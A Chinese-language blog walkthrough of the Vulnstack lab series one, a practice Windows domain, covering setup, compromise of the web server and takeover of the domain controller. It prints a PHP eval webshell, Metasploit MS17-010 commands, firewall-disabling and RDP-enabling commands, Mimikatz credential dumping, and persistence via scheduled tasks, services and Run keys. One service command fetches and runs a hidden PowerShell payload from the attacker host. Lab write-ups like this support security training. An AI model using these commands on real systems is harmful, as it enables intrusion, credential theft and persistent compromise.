Henry's Blog
  • CobaltStrike系列
    • CobaltStrike的基本操作
    • CobaltStrike会话管理
    • CobaltStrike重定向服务
    • CobaltStrike钓鱼攻击
    • 凭据导出与存储
    • Beacon的常用操作
    • DnsBeacon详解
    • 权限提升
    • 简单的内网信息收集
    • Cross2生成LinuxShell
    • CNA插件开发
    • Profile编写规则
    • BOF开发
    • execute-assembly原理
    • Vps搭建可能遇到的问题
  • OPSEC(免杀)
    • BypassPPL
    • Certutil绕过技巧
    • DLL劫持技术(白+黑)
    • PEB伪装
    • PpidSpoofing
    • Python反序列化免杀
    • WebShell绕过技巧
    • mimikatz免杀
    • 利用CobaltStrikeProfile实现免杀
    • 利用Windows异常机制实现Bypass
    • 削弱WindowsDefender
    • 模拟Powershell实现Bypass
    • 浅谈CobaltStrikeUDRL
    • 添加用户和计划任务(Bypass)
    • 移除NtDll的hook
    • 定位修改MsfShellcode特征码实现免杀
    • 利用COM接口实现进程断链执行.md
    • 免杀工具篇
      • Invoke-Obfuscation
      • Shellter
    • 流量检测逃避
      • CobaltStrike流量逃避.md
      • MSF流量加密.md
      • NC反弹Shell流量加密.md
  • Shellcode加密
    • 前置知识
    • XOR加密
    • AES加密
  • Shellcode加载器
    • 常见的加载方式
    • 分离加载
    • 创建纤程加载
    • 动态调用API加载
    • 基于APC注入加载
    • 基于反调试加载
    • 基于回调函数加载
    • 基于线程池加载
    • 模块踩踏
    • 进程镂空注入(傀儡进程)
    • 反射dll注入(内嵌式)
  • Web渗透
    • 信息收集
    • 各类Webshell
    • 基本漏洞利用
    • 远程命令执行漏洞
    • sql注入
    • sqlmap的使用方法
  • 内网渗透
    • 内网渗透前置知识
    • BadUsb制作
    • Linux反弹Shell总结
    • 内网渗透技术总结
    • 横向移动
      • GoToHttp
      • MS14-068
      • PassTheHash
      • PassTheTicket
      • Psexec
      • RustDesk
      • SMB横移
      • WMI横移
      • 用户枚举与爆破
    • 流量加密
      • CobaltStrike流量加密
      • MsfShell流量加密
      • OpenSSL加密反弹shell
  • 协议分析
    • TCP_IP协议
  • 权限提升
    • 土豆提权原理
    • UAC提权
  • 蓝队技术
    • 应急响应流程总结
  • 进程注入
    • Conhost注入
    • session0注入
    • 内核回调表注入
    • 剪切板注入
  • 逆向技术
    • HOOK技术
    • IDA遇到的坑
    • Shellcode的原理与编写
    • Windbg的使用
    • 使用Stardust框架编写Shellcode
    • PeToShellcode
    • 破解系列
      • PUSH窗体大法
      • VM绕过技巧(易语言)
      • Crackme_1
      • 反破解技术
      • 按钮事件特征码
      • 逆向调试符号
      • 破解实例
        • IDA逆向注册码算法
  • 钓鱼技术
    • Flash网页钓鱼
    • LNK钓鱼
    • 自解压程序加载木马
  • 隧道应用
    • 隧道应用前置知识
    • BurpSuite上游代理
    • DNS隧道传输
    • EarthWorm内网穿透
    • Frp内网穿透
    • ICMP隧道传输
    • MsfPortfwd端口转发
    • Neo-reGeorg内网穿透
    • NetCat工具使用
    • Netsh端口转发
    • SSH端口转发
    • 正向连接与反向连接
  • 基础学习
    • C和C++
      • C++编程
      • C程序设计
    • Linux学习
      • Linux Shell编程
      • linux基础
    • Python基础
      • python之Socket编程
      • python之多线程操作
      • python基础
      • python算法技巧
    • Qt基础
      • Qt笔记
    • 逆向基础
      • PE结构
      • Win32
      • 汇编语言
  • 漏洞复现
    • Web漏洞
      • ApacheShiro反序列化漏洞
    • 系统漏洞
      • Linux漏洞
        • ShellShock(CVE-2014-6271)
  • 靶场系列
    • Web靶场
      • pikachu靶场
      • sqli-labs
      • upload-labs
    • 内网靶场
      • Jarbas靶场
      • SickOS靶场
      • W1R3S靶场
      • prime靶场
      • vulnstack靶场系列一
      • vulnstack靶场系列二
      • vulnstack靶场系列四
  • 代码审计
    • PHP代码审计基础
  • 一些杂七杂八的
    • 开发工具与环境
      • Github的使用
      • JSP环境搭建
      • Pycharm设置代码片段
      • VS2017安装番茄助手(破解版)
      • VisualStudio项目模板的使用
      • WindowsServer搭建IIS环境
      • 安装Scoop
      • c++安装vcpkg
      • dotnet-cnblog的安装与使用
      • gitbook使用教程
      • kali安装burpsuite
      • 配置win2012域服务器
      • VSCode配置MinGW
    • 踩坑记录
      • BurpSuite导入证书
      • Powershell禁止执行脚本
      • centos7没有显示ip
      • kali安装pip2
      • oracle12没有scott用户
由 GitBook 提供支持
在本页

最后更新于1年前

一、环境搭建

拓扑图

用户配置

Vulnstack靶场有两个默认用户, 分别是域成员liukaifeng01和域管理员用户Administrator, 其默认密码均为hongrisec@2019

首次登录会要求用户修改密码, 除此之外我还新添加了个test1用户用于登录win2003主机

所有的用户信息如下表格所示:

虚拟主机配置信息

下图为VMnet3网卡的配置信息, 配置的子网IP为192.168.52.0, 设置为仅主机模式

下图为NAT模式的VMnet8网卡配置信息, 配置的子网IP为192.168.47.0

网络连接配置

域控的网络连接配置如下:

Web服务器有两个网卡, 其中一个网卡是用于Web服务器与域内主机进行数据交互, 此网卡需将DNS服务器地址设置成域控服务器地址, 其他域内成员的网络配置亦是如此, 这里就不详细描述了

配置web网站

在web服务器(win7)找到phpstudy\www目录, yxcms就是搭建在外网的网站源码

找到phpstudy的站点域名设置, 将网站目录设置成yxcms目录的绝对路径, 网站端口设置成81, 网站域名可随意设置, 这里我设置成www.henry404.net, 然后点击修改, 再点击保存设置并生成文件

修改Web服务器的hosts文件, 将本机的ip绑定如上设置好的域名

为什么要给192.168.52.143绑定域名? —— 为了让攻击机能够解析域名

修改hosts文件时可能要管理员权限, 需要先给当前用户赋予修改host文件的权限,此处不详细描述

攻击机的hosts文件也要修改成与上述一致

web服务器启动phpstudy, 然后在攻击机使用浏览器访问www.henry404.net:81, 若出现如下图所示的页面则代表网站配置成功

二、渗透web服务器

1.拿下网页后台

访问配置好的网站,在其公告信息已经说明了网站的后台目录(/index.php?r=admin)以及管理员的账号密码(admin,123456)

访问网站后台页面(www.henry404.net:81/index.php?r=admin), 输入账号密码登录后台

2.写入webshell

点击前台模板->管理模板文件, 随后会显示前台的php模板文件

点击右上角的新建按钮, 新建一个前台模板文件并写入webshell(<?php @eval($_POST['cmd']);?>), 随后点击创建

3.连接webshell

此处不详细讲述如何寻找webshell文件的网页路径, 毕竟此靶场是以内网渗透为主

webshell的网页路径为:http://www.henry404.net:81/protected/apps/default/view/default/test.php, 使用蚁剑连接webshell, 即可对网站进行接下来的渗透

4.远程命令执行CS上线

此处不演示CS服务的搭建过程, 如果想了解Cobalt Strike的相关操作可以翻阅我博客发布的CS系列文章

先使用CS客户端生成一个可执行程序木马, 然后通过蚁剑将其上传至网站服务器上, 这里选择上传至phpstudy/WWW目录

上传至C盘目录可能会因为权限问题导致上传失败

在木马所在目录打开终端, 输入artifact.exe运行上传的木马程序

返回CS客户端查看Web服务器上线情况

三、内网渗透

信息收集

收集域内信息

1.查看网关的ip地址, DNS的ip地址、域名等等: shell ipconfig /all

  • 主机名: win7-1

  • 主域: god.org

  • 网卡1的ip: 192.168.47.149; 网卡2的ip: 192.168.47.143

  • DNS服务器: 192.168.52.138

2.列出当前域控的主机列表: net view

  • OWA(192.168.52.138)

  • ROOT-TVI862UBEH(192.168.52.141)

  • WIN7-1(192.168.52.143)

3.列出当前域的域控: net dclist

当前的域控是OWA(192.168.52.138)

4.查看当前主机的共享列表: net share \\[主机名]

可以发现当前主机默认开启了C盘共享功能

收集用户信息

1.查看当前主机的用户列表: shell net user

2.查看当前主机的登录用户: shell echo %username%

3.判断当前用户是否属于管理员组: shell whoami/groups

这里并没有发现liukaifeng01的所在组别, builtin是内建用户

内建用户: 系统刚安装完成时所创建的用户, 并非当前登录用户

​

4.查询本地管理员组的用户: shell net localgroup administrators

可发现liukaifeng01属于本地管理员组

5.查看当前域内所有用户: shell net user /domain

尝试获取用户账号密码

由于当前用户liukaifeng01属于管理员组, 可以对其使用ms14-058提权模块, 提权后会返回一个SYSTEM权限的用户

对拥有SYSTEM权限的会话运行Mimikatz, 随后在beacon命令行会返回用户的账号信息

当然在视图->凭证信息查看用户数据会更加清晰明了

  • 域管理员账号密码: Administrator/QWEasd123

  • 当前用户账号密码: liukaifeng01/qQ123456

横向移动

漏洞扫描

上传ladon工具至Web服务器上的C盘上

随后在beacon命令行输入:shell ladon.exe 192.168.52.0/24 MS17010, 扫描Web服务器所处C段的IP是否存在MS17010漏洞

发现有三台主机存在MS17010漏洞, 且其中一台主机(192.168.52.138)是域控服务器

漏洞利用

为了将kali的MSF杀进内网, 我们要在Web服务器开启socks4代理, 走1080端口, beacon命令行输入: socks 1080

Socks 代理相应的采用 Socks 协议, 代理服务器就是 Socks 服务器,这是一种通用的代理服务器。代理服务器是指位于使用者和服务器之间的计算机。通过拦截发送方和接收方之间的连接来工作。重要的是可以隐藏用户实际IP地址保护用户信息安全

在MSF设置socks4代理服务器以及开通双向隧道

使用auxiliary/admin/smb/ms17_010_command针对MS17010漏洞执行远程命令进行关闭防火墙

关闭防火墙的Dos命令: netsh advfirewall set allprofiles state off

查看防火墙状态的Dos命令: netsh advfirewall show allprofiles

执行远程命令开启3389端口(远程服务), 发现远程服务开启失败

开启远程服务的Dos命令: REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

查询3389端口是否打开的Dos命令: netstat -an | find "3389"

接下来攻击域内成员win2003主机, 这次使用exploit/windows/smb/ms17_010_psexec模块, 返回目标主机的meterpreter会话(MSF上线)

生成跳板木马

由于CS服务器无法与域控服务器进行数据交互, 只能与web服务器进行数据交互, 因此要将web服务器作为跳板来实现CS服务器与域控服务器之间的数据交互

创建跳板监听: 鼠标右键单击用户->中转->listener

监听的IP应为跳板主机的内网ip(能够与域控进行通讯)

在生成后门处选择Windows Executable(S), 即生成无状态木马, 然后上传至Web服务器的C盘目录

Windows 带有生成出的是stageless版本(无状态Windows后门木马),下面简单说下这个无状态木马的使用方法。一般使用无状态木马的网络环境是这样的

如果开启了防火墙可能会产生安全警告,最好提前用cmd关闭防火墙或者新建放行规则,然后便可以将无状态木马放入到其他内网机器中执行

域内文件传输

通过创建C盘共享将生成的无状态木马传送至域控服务器

与目标IP实现C盘共享: shell net use \\192.168.52.138\c$ "QWEasd123" /user:"Administrator"

将Web服务器C盘的无状态木马拷贝至域控服务器C盘处: shell copy c:\\beacon.exe \\192.168.52.138\c$

查看域控的C盘目录: shell dir \\192.168.52.138\c$, 判断木马是否拷贝成功

返回MSF界面, 利用ms17010漏洞远程命令执行C盘的无状态木马: set command c:\\beacon.exe

随后在cs客户端查看域控服务器的上线情况

权限维持

创建计划任务

使用schtasks命令远程创建计划任务执行后门程序, 前提要知道远程主机的管理员账号密码

/ru: 运行该任务的用户, 对于系统帐户,有效值是 ""、"NT AUTHORITY\SYSTEM" 或"SYSTEM"

/tn: 任务名称

/sc: 任务执行频率, 其中daily表示每天执行

/tr: 要执行的文件

/F: 强制执行任务

查看域控服务器的任务计划程序, 可发现刚创建的后门计划任务

若要清除计划任务执行以下命令

创建windows服务

使用sc命令创建一个名为"name"的服务, 设置开机后门脚本程序自启动, 注意将powershell命令行替换成自己的

设置name服务自启动

设置服务的描述内容

启动服务

删除服务

创建注册表后门

将/d后的文件路径修改成后门程序的路径

总结

1.ms17_010_psexec模块的利用条件

  • 防火墙必须允许SMB流量出入

  • 目标必须使用SMBv1协议

  • 目标必须缺少MS17-010补丁

  • 目标必须允许匿名IPC $和管道名

2.使用ms17_010_psexec模块有几率导致蓝屏

3.开启远程服务和关闭防火墙需要管理员权限

登录主机
用户
密码
虚拟机
网卡信息
ip

win2008 (域控服务器)

Administrator

QWEasd123

win7-1 (web服务器)

liukaifeng01

qQ123456

win2003 (域内主机)

test1

qQ123456

Kali linux (用于搭建CS服务器和MSF服务器)

NAT

192.168.47.134

win7 (攻击机)

NAT

192.168.47.133

win7-1 (web服务器)

NAT VMnet3

192.168.47.148 192.168.52.143

win2008 (域控服务器)

VMnet3

192.168.52.138

win2003 (域内主机)

VMnet3

192.168.52.141

msf > setg proxies socks4:192.168.47.134:1080  #配置msf的socks代理服务器
msf > setg ReverseAllowProxy true #开启双向隧道
msf5 > use auxiliary/admin/smb/ms17_010_command  #使用ms17010远程命令执行模块

msf5 auxiliary(admin/smb/ms17_010_command) > set rhosts 192.168.52.138  #设置目标主机ip

msf5 auxiliary(admin/smb/ms17_010_command) > set command netsh advfirewall set allprofiles state off #设置远程执行的命令(此处命令是关闭防火墙)

msf5 auxiliary(admin/smb/ms17_010_command) > run #开启攻击
msf5 auxiliary(admin/smb/ms17_010_command) > set command REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f

msf5 auxiliary(admin/smb/ms17_010_command) > run
set rhost 192.168.52.141  #设置目标主机

set payload windows/meterpreter/bind_tcp  #设置监听协议

set lhost 192.168.47.134  #设置MSF的服务器IP

set lport 7777 #设置监听端口

run
schtasks /create /s 192.168.52.138 /u Administrator /p QWEasd123 /ru "SYSTEM" /tn test /sc DAILY /st 20:45 /tr C:\\beacon.exe /F
schtasks /delete /s 192.168.52.138 /tn "test" /f
shell sc create "name" binpath= "cmd /c start powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.47.134:80/a'))\""
shell SC config "name" start= auto
shell SC description "name" "description"
shell net start "name"
shell SC delete "name"
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v "Keyname" /t REG_SZ /d "C:\\beacon.exe" /f
  1. 靶场系列
  2. 内网靶场

vulnstack靶场系列一

上一页prime靶场下一页vulnstack靶场系列二
  • 一、环境搭建
  • 拓扑图
  • 用户配置
  • 虚拟主机配置信息
  • 网络连接配置
  • 配置web网站
  • 二、渗透web服务器
  • 1.拿下网页后台
  • 2.写入webshell
  • 3.连接webshell
  • 4.远程命令执行CS上线
  • 三、内网渗透
  • 信息收集
  • 横向移动
  • 权限维持
  • 总结
  • 1.ms17_010_psexec模块的利用条件
  • 2.使用ms17_010_psexec模块有几率导致蓝屏
  • 3.开启远程服务和关闭防火墙需要管理员权限
image-20221017101315920
image-20221013083305857
image-20221013084602683
image-20221013085753160
image-20221013085924303
img
动画
image-20221013145639509
image-20221013145820329
image-20221013225441793
image-20221013225929741
image-20221013230032214
image-20221015200538626
image-20221015200723517
image-20221015200857608
image-20221015200955417
image-20221015202051598
image-20221015204235545
image-20221015204124124
image-20221015204700456
image-20221015213502712
image-20221015213635569
image-20221015211229109
image-20221015215210073
image-20221015213222577
image-20221015221552456
image-20221015223405630
image-20221015223553224
image-20221015223706351
image-20221015230023173
image-20221015230735012
image-20221016153634445
image-20221016160721957
image-20221017112643655
image-20221017234351309
image-20221016210053584
image-20221016210246839
image-20221016210429801
image-20221016211032234
image-20221016211707102
image-20221016211855921
image-20221017091802106
image-20221016221341279
image-20221016221652207
img